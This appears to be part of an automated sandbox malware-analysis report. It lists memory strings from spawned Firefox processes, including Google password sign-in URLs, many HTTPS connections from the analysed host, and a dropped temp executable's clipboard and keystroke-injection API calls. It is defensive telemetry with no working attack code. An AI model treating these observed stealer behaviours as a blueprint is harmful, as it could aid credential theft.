Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000003.1470733612.0000000006183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: firefox.exe, 00000015.00000003.1811643458.0000010CA8E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1810447510.0000010CA8E2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1811109707.0000010CA8E3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000015.00000003.1983311461.0000010CB35E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925409818.0000010CB35E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1954828285.0000010CB35E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/anything/?
Source: file.exe, 00000000.00000003.1470733612.0000000006183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: firefox.exe, 00000015.00000003.1936860949.0000010CA9DD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1965178837.0000010CA9DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/about/legal/terms/subscription-services/
Source: firefox.exe, 00000015.00000003.1953927496.0000010CB3A66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1983311461.0000010CB35BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925409818.0000010CB35B0000.00000004.00000800.00020000.00000000.sdmp, targeting.snapshot.json.tmp.21.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1470733612.0000000006183000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1979124212.0000010CA8F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: firefox.exe, 00000015.00000003.1936860949.0000010CA9DD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1965178837.0000010CA9DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/subscription-services/
Source: file.exe, 00000000.00000003.1470733612.0000000006183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000018.00000002.2650559517.000001F8FDBC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD088F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.1470733612.0000000006183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1962452330.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000015.00000003.1958410805.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927441607.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1928933464.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984764177.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1959502812.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806799918.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000015.00000003.2000150466.0000010CA875D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000015.00000003.1977630551.0000010CA9415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1970972518.0000010CA9415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: firefox.exe, 00000015.00000003.1927863356.0000010CAF949000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.0000000001136000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 00000015.00000003.1958410805.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927441607.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 00000015.00000003.1930594276.0000010CAF723000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD0880C000.00000004.00000800.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000015.00000003.1928933464.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984764177.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1959502812.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806799918.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000015.00000003.1926529208.0000010CB104D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000015.00000003.1986003364.0000010CAF547000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000015.00000003.1987036619.0000010CAAFB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1987174172.0000010CAAF8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000018.00000002.2649900719.000001F8FDAC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=ht
Source: firefox.exe, 0000001A.00000002.2654722133.000001CD089D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=ht;
Source: firefox.exe, 0000001A.00000002.2644440257.000001CD084CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accoun
Source: firefox.exe, 00000015.00000003.1974234103.0000010CA8C20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2648969676.000002324ABAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2654649662.000002324B0B4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2648969676.000002324ABA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2649900719.000001F8FDAC4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2647822097.000001F8FD81A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2644440257.000001CD084CA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2644440257.000001CD084C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654722133.000001CD089D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2647822097.000001F8FD810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd&
Source: firefox.exe, 00000013.00000002.1756978100.000002576157F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.1770635417.000001A35B2AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000018.00000002.2647822097.000001F8FD81A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd2
Source: firefox.exe, 00000017.00000002.2654649662.000002324B0B4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2648969676.000002324ABA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2647822097.000001F8FD810000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2649900719.000001F8FDAC4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2644440257.000001CD084C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654722133.000001CD089D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE

Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62395
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749

Source: unknown	HTTPS traffic detected: 92.122.104.90:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.222.236.23:443 -> 192.168.2.7:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.100.48.249:443 -> 192.168.2.7:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.100.48.249:443 -> 192.168.2.7:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.7:62395 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0104EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

6_2_0104EAFF

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0104ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_0104ED6A

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

6_2_0104EAFF

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0103AB9C GetKeyState,GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

6_2_0103AB9C

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

